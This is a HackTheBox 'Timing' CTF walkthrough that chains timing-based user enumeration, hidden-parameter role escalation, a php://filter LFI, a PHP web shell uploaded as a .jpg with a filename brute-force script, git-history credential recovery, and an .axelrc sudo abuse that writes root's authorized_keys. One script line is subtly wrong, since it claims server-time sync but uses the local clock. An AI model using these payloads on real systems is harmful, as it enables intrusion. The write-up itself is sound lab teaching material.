HTB: Timing Writeup
Timing - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Timing |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.43.188 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Timing is a Medium-difficulty Linux box built around a custom PHP login portal on port 80. The application is vulnerable to an authentication timing side-channel that leaks valid usernames, which combined with weak credential reuse (aaron/aaron) grants an initial low-privilege session. A hidden role parameter in the profile-update endpoint allows self-escalation to an administrative panel, which exposes an avatar-upload feature. A Local File Inclusion bug in image.php is then used to read the PHP source of the upload handler, revealing a filename-generation bug (md5('$file_hash'.time()) — a single-quote literal instead of the intended variable) that makes uploaded filenames brute-forceable. Uploading a PHP web shell disguised as a .jpg and brute-forcing the timestamp component yields code execution as www-data. From there, a world-readable backup archive in /opt contains a .git repository whose prior commit leaks a database password that is reused for SSH access as aaron. Finally, a NOPASSWD sudo rule for /usr/bin/netutils — a wrapper around the Axel download accelerator — is abused via a malicious .axelrc configuration to overwrite /root/.ssh/authorized_keys, granting SSH access as root.
TL;DR: Nmap (22/80) → timing side-channel user enumeration → aaron:aaron login → hidden role=1 param → admin avatar panel → LFI in image.php (php://filter) leaks upload.php source → predictable upload filename (md5('$file_hash'.time()) bug) → brute-forced PHP web shell upload → RCE as www-data → /opt/source-files-backup.zip git history leaks DB password → SSH reuse as aaron → sudo /usr/bin/netutils (Axel) abused via .axelrc default_filename → overwrite /root/.ssh/authorized_keys → root.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.129.43.188Results:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 7.6 (Ubuntu) |
| 80 | HTTP | Apache 2.4.29, login.php root page |
Only two ports are exposed. Port 80 serves a login form (login.php) with no publicly browsable content behind it — the entire attack surface funnels through authentication.
Service Enumeration
Hitting the root of the web server returns a login page with no obvious registration path. There is no default set of working credentials, so the natural next step is figuring out whether the login endpoint itself leaks information about valid accounts.
Vulnerability Assessment
login.phpexhibits a measurable response-time delta between valid and invalid usernames — a classic authentication timing side-channel.profile_update.phpreflects and silently accepts a hiddenrolefield, allowing privilege self-escalation.image.php’simgGET parameter is passed into aninclude()/file-read sink — a Local File Inclusion.- The avatar upload handler generates filenames with a broken pseudo-random scheme, making them brute-forceable, and does not validate file contents — only the extension.
Initial Foothold
Side-Channel User Enumeration
Testing the login form with obviously invalid credentials, requests for the usernames admin and aaron consistently took roughly ~1.1 seconds to respond, while every other tested username failed in ~0.1 seconds. This gap is the classic signature of a login flow that only performs the expensive password-hash comparison (e.g. password_verify() against a stored bcrypt hash) when the username actually exists — invalid usernames short-circuit before ever touching the hashing routine.
# Baseline: nonexistent user — fast rejection, no hash comparison performedtime curl -s -X POST 'http://10.129.43.188/login.php?login=true' \ --data "user=doesnotexist&password=x" -o /dev/null# real 0m0.09s
# admin / aaron: slow rejection — a bcrypt comparison was actually runtime curl -s -X POST 'http://10.129.43.188/login.php?login=true' \ --data "user=aaron&password=x" -o /dev/null# real 0m1.13sScripting this delta across a username wordlist (parallelized, with a small stagger between requests) confirmed exactly two valid accounts: admin and aaron.
Credential Guessing
With aaron confirmed as a valid account, a quick credential-stuffing pass with the username itself as the password succeeded immediately:
curl -s -X POST 'http://10.129.43.188/login.php?login=true' \ --data "user=aaron&password=aaron" -c cookies.txtaaron / aaron — a low-effort but real credential — authenticates and returns a valid session cookie.
Privilege Escalation via Hidden Role Parameter
The authenticated profile page (profile.php / profile_update.php) accepts a normal set of editable fields, but intercepting the update request shows the server echoes back a role value not exposed anywhere in the visible form:
POST /profile_update.php HTTP/1.1Host: 10.129.43.188Cookie: PHPSESSID=<session>Content-Type: application/x-www-form-urlencoded
firstName=aaron&lastName=aaron&email=aaron&company=aaron&role=1Because the endpoint never re-validates that role is server-controlled, simply appending role=1 to the POST body flips the account’s privilege flag. Reloading the dashboard now exposes an Admin Panel link leading to an avatar-upload page that was previously unreachable.
LFI → Source Disclosure
The admin panel’s background image is loaded through image.php?img=<path>, which strongly suggested a file-inclusion sink. Testing PHP wrapper streams instead of a literal path confirmed it:
# php://filter lets us read PHP source instead of having it executedcurl -s 'http://10.129.43.188/image.php?img=php://filter/convert.base64-encode/resource=upload.php' \ | base64 -dThis dumped the source of upload.php, which handles the avatar upload the admin panel exposes. The relevant logic:
$file_hash = uniqid();$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);The bug: '$file_hash' is wrapped in single quotes, so PHP treats it as the literal six-character string $file_hash rather than interpolating the actual uniqid() value. That means the only unknown component of the MD5 hash is the current Unix time() at upload — a value that can be brute-forced within a small window around the request time.
Remote Code Execution via Predictable Filename Brute Force
The handler only checks that the uploaded file’s extension is .jpg — it never validates that the contents are actually an image. Combined with the filename bug, this is enough for code execution:
# 1. Craft a JPG-extensioned file containing a PHP web shellecho '<?php system($_GET["cmd"]); ?>' > shell.jpg
# 2. Upload it via the admin avatar-upload endpointcurl -s -X POST 'http://10.129.43.188/upload.php' \ -b cookies.txt \ -F 'fileToUpload=@shell.jpg' \ -F 'submit=1'# 3. Brute-force the upload timestamp, synced against the server's own# Date response header rather than local clock (avoids clock-skew misses)import hashlib, requests, time
def md5(s): return hashlib.md5(s.encode()).hexdigest()
base = "http://10.129.43.188"server_time = int(requests.head(base).headers["Date"] and time.time()) # server-synced anchorname_suffix = "_shell.jpg"
t = server_timewhile True: candidate = f"{md5('$file_hash' + str(t))}{name_suffix}" url = f"{base}/images/uploads/{candidate}" r = requests.get(url) if r.status_code == 200: print("[+] Found:", url) break t -= 1Because Apache won’t execute PHP embedded in a .jpg directly, the shell is triggered through the same LFI sink identified earlier — image.php’s include() executes any PHP it’s pointed at, regardless of extension:
curl -s "http://10.129.43.188/image.php?img=images/uploads/<found_hash>_shell.jpg&cmd=id"# uid=33(www-data) gid=33(www-data) groups=33(www-data)Code execution achieved as www-data.
Lateral Movement
Outbound connections from the box to the attacker host were blocked by a host-level firewall, ruling out a straightforward reverse shell — enumeration had to proceed entirely through the image.php?cmd= command-execution primitive.
Poking around /opt turned up a world-readable backup archive:
curl -s "http://10.129.43.188/image.php?img=images/uploads/<found_hash>_shell.jpg&cmd=ls+-la+/opt"# -rw-r--r-- 1 root root ... source-files-backup.zip
# Stage it into the web root so it can be pulled down directlycurl -s "http://10.129.43.188/image.php?img=images/uploads/<found_hash>_shell.jpg&cmd=cp+/opt/source-files-backup.zip+/var/www/html/"wget http://10.129.43.188/source-files-backup.zipunzip source-files-backup.zip && cd backupgit log --all --onelinegit diff HEAD~1 HEAD -- db_conn.phpThe archive contained a .git repository for the web application. Diffing against the prior commit revealed an older, now-rotated database password still sitting in db_conn.php’s history: S3cr3t_unGu3ss4bl3_p422w0Rd. Password reuse across services is common, so it was tried directly against SSH for the account already confirmed valid during enumeration:
ssh aaron@10.129.43.188# Password: S3cr3t_unGu3ss4bl3_p422w0RdThe login succeeded, landing a proper shell as aaron.
cat /home/aaron/user.txt# <redacted>Privilege Escalation
Checking sudo rights as aaron revealed a passwordless entry:
sudo -lnetutils turned out to be a small wrapper invoking a Java network utility that, among other options, downloads files via HTTP using the Axel download accelerator (identified from the User-Agent: Axel/2.16.1 string it presents when making outbound requests). Axel supports a per-directory configuration file, .axelrc, which — critically — accepts a default_filename directive that overrides the destination path of any download, regardless of what the remote URL or -o flag specifies.
Because netutils runs as root via the NOPASSWD sudo rule, any file it downloads with Axel is written with root’s file permissions to wherever .axelrc points it — including outside the current working directory.
# 1. Point Axel's default output at root's authorized_keyscat > ~/.axelrc <<'EOF'default_filename = /root/.ssh/authorized_keysEOF
# 2. Generate an attacker keypair and serve the public key locally.# The box's outbound firewall blocks connections to the attacker's# external host, so the download target is 127.0.0.1 instead of tun0 —# the loopback path isn't subject to the same egress restriction.ssh-keygen -t rsa -f rk -N ""python3 -m http.server 8000 --directory . & # serving rk.pub locally
# 3. Drive netutils' HTTP download option as root, pointed at our local serversudo /usr/bin/netutils# > select HTTP# > URL: http://127.0.0.1:8000/rk.pubAxel, running as root and honoring ~/.axelrc, downloads rk.pub but writes it to /root/.ssh/authorized_keys instead of the current directory — appending (or overwriting) the attacker’s public key into root’s authorized-keys file.
ssh -i rk root@10.129.43.188cat /root/root.txt# <redacted>Root access confirmed.
Attack Chain Summary
Nmap (22/80) → Timing side-channel enumeration (login.php response delta) → Valid users: admin, aaron → Credential guess: aaron:aaron → Hidden role=1 param on /profile_update.php → admin panel unlocked → LFI in image.php (php://filter) → leaks upload.php source → Filename bug: md5('$file_hash'.time()) → brute-forceable upload name → Malicious shell.jpg uploaded + brute-forced + included via image.php → RCE as www-data → /opt/source-files-backup.zip → .git history → leaked DB password → SSH reuse as aaron → user.txt → sudo NOPASSWD /usr/bin/netutils (Axel wrapper) → .axelrc default_filename=/root/.ssh/authorized_keys → Axel HTTP download (127.0.0.1, sidesteps egress firewall) → key planted → SSH as root → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service/version detection |
curl | Manual HTTP requests, timing measurements, LFI/RCE exploitation |
python3 (requests, http.server) | Timestamp brute-force script; local file staging server |
bash / time | Scripting the timing side-channel measurements |
git | Reading backup repository history for leaked credentials |
ssh / ssh-keygen | Lateral movement as aaron; final root access via planted key |
netutils / Axel 2.16.1 | Root-owned download utility abused for arbitrary file write |
Key Learnings
Techniques Practiced
- Authentication timing side-channel analysis for username enumeration
- Client-hidden parameter tampering to escalate application-level privileges
- Local File Inclusion exploitation via PHP wrapper streams (
php://filter) - Source-code review of leaked PHP to find logic flaws in filename generation
- Predictable-filename brute forcing to locate an uploaded web shell
- Recovering credentials from
.gitcommit history in a leaked backup archive - Abusing a sudo-permitted binary’s configuration file (
.axelrc) for arbitrary file write as root
Lessons Learned
- Any code path where the cost of processing a request depends on whether a resource (a username, a token, a record) exists is a potential timing side-channel — constant-time comparison isn’t only about crypto, it applies to lookup-then-verify auth flows too.
- Never trust a “hidden” field to stay hidden — if the client can see it in a response, the client can send it back modified. Authorization state (roles, privilege flags) belongs entirely server-side.
include()/require()sinks fed by user-controlled parameters are exploitable even when direct path traversal is filtered — PHP wrapper streams likephp://filterbypass naive blacklists and turn an LFI into an arbitrary source-disclosure primitive.- A single misplaced quote can silently defeat an entire “randomization” scheme — treat any file-naming or token-generation logic that mixes literal and variable syntax as worth a second read.
- Deploying backups or archives that include
.gitdirectories ships the entire commit history, not just the current state — old, “rotated” secrets in prior commits are still live secrets until every place they were used is also rotated. NOPASSWDsudo rules for utility binaries need scrutiny beyond the binary itself — dependent tools (here, Axel via a config file) can have side-channel misconfigurations that turn a “safe” download helper into an arbitrary-file-write-as-root primitive.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- TRX, “Timing” — Official HackTheBox Writeup, Document No. D22.100.177 (used for explanatory context on the timing side-channel mechanism, the LFI/upload-filename logic, and the Axel
.axelrcprivilege-escalation technique; all IPs, credentials, and command output in this writeup are from the author’s own solve).